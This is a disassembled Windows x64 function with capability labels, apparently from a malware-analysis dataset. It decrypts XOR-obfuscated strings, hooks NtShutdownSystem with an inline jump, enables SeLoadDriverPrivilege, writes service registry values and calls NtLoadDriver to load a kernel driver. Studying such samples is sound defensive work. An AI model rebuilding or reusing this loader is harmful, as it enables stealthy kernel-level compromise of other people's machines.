Function at 0x1405a7c20
Capabilities:
Access peb ldr_data
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x510
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1406ce080]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
mov r12d, edx
xor r13d, r13d
mov r15, qword [0x1406cfc98]
mov r14d, 4
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
movabs rbx, 0x9c7187f9bf3588b0
lea edi, [r13 + 1]
mov eax, dword [r14 + rsi]
cmp dword [0x1406cfe2c], eax
jle 0x1405a7e70
lea rcx, [0x1406cfe2c]
call fcn.140657238
cmp dword [0x1406cfe2c], 0xffffffff
jne 0x1405a7e70
movabs rax, 0x2a47ebc49f5efc77
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rbx
movabs rax, 0x462999afec318819
mov qword [rbp + 0x230], rax
movabs rax, 0x9c7187f9da4ded9e
mov qword [rbp + 0x238], rax
movups xmm0, xmmword [rbp + 0x230]
movdqa xmm1, xmmword [rbp + 0x210]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x430], xmm1
mov ebx, r13d
mov dword [rbp + 0x1d0], r13d
xor r8d, r8d
xor edx, edx
jmp 0x1405a7d4b
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1d0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, dword [rbp + 0x1d0]
mov rdx, rax
lea r9, [rbp + 0x1d0]
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1405a7d15
test eax, eax
jns 0x1405a7d7e
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1405a7e64
mov r14d, r13d
cmp dword [rbx], r13d
jbe 0x1405a7e4d
mov eax, r14d
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x200], r13
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r13b
jne 0x1405a7dbf
lea rcx, [rbp + 0x1e8]
call fcn.1405ab00c
lea rcx, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0x10
cmovae rcx, qword [rbp + 0x1e8]
lea rdx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1405a8198
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x1405a7e41
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1405a7e3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1405a81e5
call fcn.140657384
add r14d, edi
cmp r14d, dword [rbx]
jb 0x1405a7d8a
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 4
lea rcx, [0x1406cfe2c]
call fcn.1406571d8
mov eax, dword [r14 + rsi]
cmp dword [0x1406cfe50], eax
jle 0x1405a7ea9
lea rcx, [0x1406cfe50]
call fcn.140657238
cmp dword [0x1406cfe50], 0xffffffff
jne 0x1405a7ea9
call fcn.1405a4260
mov qword [0x1406cfe78], rax
lea rcx, [0x1406cfe50]
call fcn.1406571d8
mov eax, dword [r14 + rsi]
cmp dword [0x1406cfe30], eax
jle 0x1405a7ee2
lea rcx, [0x1406cfe30]
call fcn.140657238
cmp dword [0x1406cfe30], 0xffffffff
jne 0x1405a7ee2
call fcn.1405a4658
mov qword [0x1406cfe58], rax
lea rcx, [0x1406cfe30]
call fcn.1406571d8
cmp qword [0x1406cfe78], r13
je 0x1405a8e63
cmp qword [0x1406cfe58], r13
je 0x1405a8e63
lea rcx, [rbp + 0x1e0]
call fcn.1405f4058
lea rbx, [r15 + r12]
cmp r15, rbx
jae 0x1405a829b
mov r14, qword [0x1406cfe58]
mov r12d, 4
mov eax, dword [r12 + rsi]
cmp dword [0x1406cf84c], eax
jle 0x1405a7f73
lea rcx, [0x1406cf84c]
call fcn.140657238
cmp dword [0x1406cf84c], 0xffffffff
jne 0x1405a7f73
lea rcx, [0x14066abe8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1406cf908], rax
lea rcx, [0x1406cf84c]
call fcn.1406571d8
mov eax, dword [r12 + rsi]
cmp dword [0x1406cf8f8], eax
jle 0x1405a7fbe
lea rcx, [0x1406cf8f8]
call fcn.140657238
cmp dword [0x1406cf8f8], 0xffffffff
jne 0x1405a7fbe
mov edx, 2
lea rcx, [0x1406cf850]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14065b420]
call fcn.1406575c4
lea rcx, [0x1406cf8f8]
call fcn.1406571d8
lea rcx, [0x1406cf850]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x1405a8292
mov dword [rbp + 8], 0x25ff
mov word [rbp + 0xc], r13w
mov qword [rbp + 0xe], r14
mov rcx, qword [0x1406cf8a8]
lea r14d, [rax + 0xe]
mov r8d, r14d
lea rdx, [rbp + 0x140]
call fcn.1405a5dc4
mov rcx, qword [0x1406cf8a8]
mov r8d, r14d
lea rdx, [rbp + 8]
call fcn.1405a5f50
mov rax, qword [0x1406cf908]
mov rcx, r15
call rax
mov r12, rax
mov rcx, qword [0x1406cf8a8]
mov r8d, r14d
lea rdx, [rbp + 0x140]
call fcn.1405a5f50
lea rcx, [0x1406cf850]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r14, qword [0x1406cfe78]
mov eax, 4
mov eax, dword [rax + rsi]
cmp dword [0x1406cf84c], eax
jle 0x1405a809e
lea rcx, [0x1406cf84c]
call fcn.140657238
cmp dword [0x1406cf84c], 0xffffffff
jne 0x1405a809e
lea rcx, [0x14066abe8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1406cf908], rax
lea rcx, [0x1406cf84c]
call fcn.1406571d8
mov eax, 4
mov eax, dword [rax + rsi]
cmp dword [0x1406cf8f8], eax
jle 0x1405a80ed
lea rcx, [0x1406cf8f8]
call fcn.140657238
cmp dword [0x1406cf8f8], 0xffffffff
jne 0x1405a80ed
mov edx, 2
lea rcx, [0x1406cf850]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14065b420]
call fcn.1406575c4
lea rcx, [0x1406cf8f8]
call fcn.1406571d8
lea rcx, [0x1406cf850]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x1405a8289
mov dword [rbp + 0x18], 0x25ff
mov word [rbp + 0x1c], r13w
mov qword [rbp + 0x1e], r14
mov rcx, qword [0x1406cf8a8]
lea r14d, [rax + 0xe]
mov r8d, r14d
lea rdx, [rbp + 0x210]
call fcn.1405a5dc4
mov rcx, qword [0x1406cf8a8]
mov r8d, r14d
lea rdx, [rbp + 0x18]
call fcn.1405a5f50
mov rax, qword [0x1406cf908]
mov rcx, r15
call rax
mov r14, rax
mov rcx, qword [0x1406cf8a8]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x210]
call fcn.1405a5f50
lea rcx, [0x1406cf850]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, r12
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x1e0]
call fcn.1405f476c
test al, al
jne 0x1405a81f6
xor eax, eax
jmp 0x1405a81fd
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x1405a7e5e
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1405a81ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a81ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
jmp 0x1405a7e5e
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x1d8], rax
mov r9d, 8
mov r8, r14
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x1e0]
call fcn.1405f476c
test al, al
jne 0x1405a8228
xor eax, eax
jmp 0x1405a822f
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x1d8]
shr rax, 7
test rdi, rax
cmovne r14, r12
lea r8, [rbp + 0x248]
lea rcx, [rbp + 0x1d8]
cmovne r8, rcx
mov r9d, 8
mov rdx, r14
lea rcx, [rbp + 0x1e0]
call fcn.1405f4e40
mov r12d, 0x1000
add r15, r12
cmp r15, rbx
jb 0x1405a7f15
mov r14d, 4
jmp 0x1405a82a1
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov r12d, 0x1000
movabs rax, 0x2a47ebc49f5efc77
mov qword [rbp + 0x440], rax
movabs rax, 0x9c7187f9bf3588b0
mov qword [rbp + 0x448], rax
movabs rax, 0x4e69d9f7ed3b8f02
mov qword [rbp + 0x250], rax
movabs rax, 0x9c7187f9bf35e4dc
mov qword [rbp + 0x258], rax
movups xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x440], xmm0
lea rcx, [rbp + 0x440]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rax
lea r9, [rbp + 2]
lea r8, [0x140671370]
lea rdx, [0x14066ad20]
lea rcx, [rbp + 0x250]
call fcn.1405aac68
nop
mov eax, dword [r14 + rsi]
cmp dword [0x1406cf914], eax
jle 0x1405a8368
lea rcx, [0x1406cf914]
call fcn.140657238
cmp dword [0x1406cf914], 0xffffffff
jne 0x1405a8368
lea rcx, [0x1406cf914]
call fcn.1406571d8
mov r14d, reloc.WS2_32.dll_recv
mov r8d, r14d
lea rdx, [rbp + 0x210]
lea rcx, [0x1406cf8f0]
call fcn.1405a54f8
nop
lea rcx, [rbp + 0x190]
call fcn.1405a3cbc
nop
lea r8, [rbp + 3]
lea rdx, [rbp + 0xe0]
mov rcx, rax
call fcn.1405aa7cc
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xe0]
call fcn.1405a9f50
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.1405a9f64
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, r14
jb 0x1405a8408
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, r12
jb 0x1405a8403
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a8403
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
movdqa xmm0, xmmword [0x1406be4c0]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], r13b
lea rcx, [rbp + 0x190]
call fcn.1405aa4ec
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x320]
call fcn.14065853c
lea rcx, [rbp + 0x2b8]
call fcn.1405a3f10
mov dword [rsp + 0x20], edi
mov r15d, 0x40
mov r9d, r15d
lea r8d, [r15 - 0x20]
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.1405a904c
nop
mov r8, qword [rbp + 0x258]
mov rdx, qword [rbp + 0x250]
sub r8, rdx
lea rcx, [rbp + 0x320]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x320]
call fcn.1405a8fbc
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x150]
call fcn.1405a9f1c
mov qword [rbp + 0x1d8], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1d8]
lea edx, [r15 - 0x18]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1405a84d3
mov bl, dil
jmp 0x1405a8551
mov qword [rbp + 0x240], r13
lea rcx, [rbp + 0x150]
call fcn.1405aa550
lea r8, [rbp + 0x240]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1405a84ce
mov dword [rbp + 0x230], edi
mov rax, qword [rbp + 0x240]
mov qword [rbp + 0x234], rax
mov dword [rbp + 0x23c], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, r14d
lea r8, [rbp + 0x230]
xor edx, edx
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1405a84ce
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, r13b
lea rcx, [rbp + 0x150]
call fcn.1405aa4ec
test bl, bl
je 0x1405a8573
mov bl, r13b
movabs rsi, 0x9c7187f9bf3588b0
jmp 0x1405a8b68
xor r8d, r8d
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x1b0]
call fcn.1405aaa50
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.1405a3b08
nop
lea r8, [rbp + 1]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.1405aa7cc
nop
lea r8, [rbp + 0xc0]
lea rdx, [0x14066ab84]
lea rcx, [rbp + 0x100]
call fcn.1405aa990
mov rsi, rax
movabs rax, 0x2a47ebc49f5efc77
mov qword [rbp + 0x460], rax
movabs rax, 0x9c7187f9bf3588b0
mov qword [rbp + 0x468], rax
movabs rax, 0x4272860eeaf271b1
mov qword [rbp + 0x470], rax
movabs rax, 0xa84e9cd3cf8b7ca2
mov qword [rbp + 0x478], rax
movabs rax, 0x7d8e8120c9a27f9b
mov qword [rbp + 0x480], rax
movabs rcx, 0xb8cb008554dfa804
mov qword [rbp + 0x488], rcx
movabs rax, 0x691b86a1eb2d8524
mov qword [rbp + 0x30], rax
movabs rax, 0xf332f397da47fac5
mov qword [rbp + 0x38], rax
movabs rax, 0x3617d562858005df
mov qword [rbp + 0x40], rax
movabs rax, 0xcd2df5a5bdee2ffe
mov qword [rbp + 0x48], rax
movabs rax, 0x7d8e8120c9a223e8
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rcx
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rbp + 0x90], xmm1
movups xmm2, xmmword [rbp + 0x50]
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqa xmm0, xmmword [rbp + 0x480]
vpxor xmm0, xmm0, xmm2
vmovdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1e8]
vzeroupper
call fcn.1405a9f94
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1e8]
call fcn.1405a9f50
lea rcx, [rbp + 0x1e8]
call fcn.1405a3f10
lea r8, [rbp + 0x1d0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1405a8756
mov rdx, qword [rbp + 0x200]
cmp rdx, r14
jb 0x1405a874e
inc rdx
mov rcx, qword [rbp + 0x1e8]
cmp rdx, r12
mov rax, rcx
jb 0x1405a8749
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1405a887e
call fcn.140657384
mov bl, r13b
jmp 0x1405a888a
mov byte [rbp + 0x1e3], dil
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e3]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405a8712
mov byte [rbp + 0x1e2], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e2]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405a8712
mov byte [rbp + 0x1e1], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1e1]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405a8712
mov rbx, qword [rsi + 0x10]
mov rcx, rsi
call fcn.1405a3f10
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405a8712
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x200]
cmp rdx, r14
jb 0x1405a888a
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, r12
jb 0x1405a8885
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a8885
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
movdqa xmm0, xmmword [0x1406be4c0]
mov byte [rbp + 0x1e8], r13b
movdqu xmmword [rbp + 0x1f8], xmm0
mov rdx, qword [rbp + 0x118]
cmp rdx, r14
jb 0x1405a88e0
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, r12
jb 0x1405a88db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a88db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
movdqa xmm0, xmmword [0x1406be4c0]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], r13b
mov rdx, qword [rbp + 0xd8]
cmp rdx, r14
jb 0x1405a8936
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, r12
jb 0x1405a8931
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a8931
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
movdqa xmm0, xmmword [0x1406be4c0]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], r13b
lea rcx, [rbp + 0x170]
call fcn.1405aa4ec
nop
lea rcx, [rbp + 0x1b0]
call fcn.1405aa4ec
movabs rsi, 0x9c7187f9bf3588b0
test bl, bl
jne 0x1405a897c
mov bl, r13b
jmp 0x1405a8b68
movabs rax, 0x2a47ebc49f5efc77
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], rsi
movabs rax, 0x4272860eeaf271b1
mov qword [rbp + 0x470], rax
movabs rax, 0xa84e9cd3cf8b7ca2
mov qword [rbp + 0x478], rax
movabs rax, 0x7d8e8120c9a27f9b
mov qword [rbp + 0x480], rax
movabs rax, 0xb8cb008554dfa804
mov qword [rbp + 0x488], rax
movabs rax, 0x723a2e6ab1ed9f65
mov qword [rbp + 0x490], rax
movabs rcx, 0x60eb4f2bd042c6
mov qword [rbp + 0x498], rcx
movabs rax, 0x583398adf83bae2b
mov qword [rbp + 0x30], rax
movabs rax, 0xf218ef9ade78d4c9
mov qword [rbp + 0x38], rax
movabs rax, 0x2f17f27d93a12dd4
mov qword [rbp + 0x40], rax
movabs rax, 0xdc20f9a1bdfe3ffe
mov qword [rbp + 0x48], rax
movabs rax, 0x2ee2ee52bdcc10d8
mov qword [rbp + 0x50], rax
movabs rax, 0xd1bd72e00783dc61
mov qword [rbp + 0x58], rax
movabs rax, 0x723a2e6aed9efa06
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rcx
mov r8, r15
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x298]
vzeroupper
call fcn.1405a9f94
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x298]
call fcn.1405a9f50
lea rcx, [rbp + 0x298]
call fcn.1405a3f10
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, dil
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x2e8]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x2b0]
cmp rdx, r14
jb 0x1405a8b51
inc rdx
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, r12
jb 0x1405a8b4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a8b4c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
movdqa xmm0, xmmword [0x1406be4c0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov byte [rbp + 0x298], r13b
mov byte [rbp], bl
lea r9, [rbp + 0x210]
lea r8, [rbp]
mov dl, byte [rbp + 1]
lea rcx, [rbp + 0x2f8]
call fcn.1405ab7bc
nop
lea rcx, [rbp + 0x3c8]
call fcn.1405a8ff0
lea rcx, [rbp + 0x3c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, r14
jb 0x1405a8bdf
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, r12
jb 0x1405a8bda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a8bda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
movdqa xmm0, xmmword [0x1406be4c0]
movdqu xmmword [rbp + 0x2c8], xmm0
mov byte [rbp + 0x2b8], r13b
mov rdx, qword [rbp + 0x228]
cmp rdx, r14
jb 0x1405a8c35
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, r12
jb 0x1405a8c30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a8c30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
movdqa xmm0, xmmword [0x1406be4c0]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], r13b
lea rcx, [rbp + 0x250]
call fcn.1405a9cfc
nop
cmp byte [rbp + 0x318], r13b
jne 0x1405a8cd3
lea rcx, [rbp + 0x30]
call fcn.1405aa0a0
nop
mov qword [rbp + 0x270], r13
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x278]
call fcn.1405a9fc8
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, r14
jb 0x1405a8cbd
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x1405a8cb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a8cb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
movdqa xmm0, xmmword [0x1406be4c0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], r13b
jmp 0x1405a8d69
movabs rax, 0x2a47ebc49f5efc77
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x438], rsi
movabs rax, 0x2a08a283c370a02b
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rsi
movups xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x430], xmm0
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x430]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1406cf8a0], rax
mov qword [rbp + 0x270], rax
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x278]
call fcn.1405a9fc8
nop
lea rcx, [rbp + 0x2f8]
call fcn.1405a3374
nop
cmp qword [rbp + 0x270], r13
je 0x1405a8e15
cmp qword [rbp + 0x288], r13
je 0x1405a8e15
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x120]
call fcn.1405a9fc8
mov rbx, rax
mov qword [rbp + 0x208], rax
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1405a8dcd
mov rcx, rbx
call fcn.1405a56c4
test al, al
mov sil, dil
jne 0x1405a8dd0
mov sil, r13b
mov rdx, qword [rbx + 0x18]
cmp rdx, r14
jb 0x1405a8e01
mov rcx, qword [rbx]
inc rdx
cmp rdx, r12
jb 0x1405a8dfc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1405a8e52
mov rcx, r8
call fcn.140657384
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r13b
test sil, sil
jne 0x1405a8e18
mov dil, r13b
mov rdx, qword [rbp + 0x290]
cmp rdx, r14
jb 0x1405a8e5e
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, r12
jb 0x1405a8e59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405a8e59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140657384
mov al, dil
jmp 0x1405a8e65
xor al, al
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.140657090
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret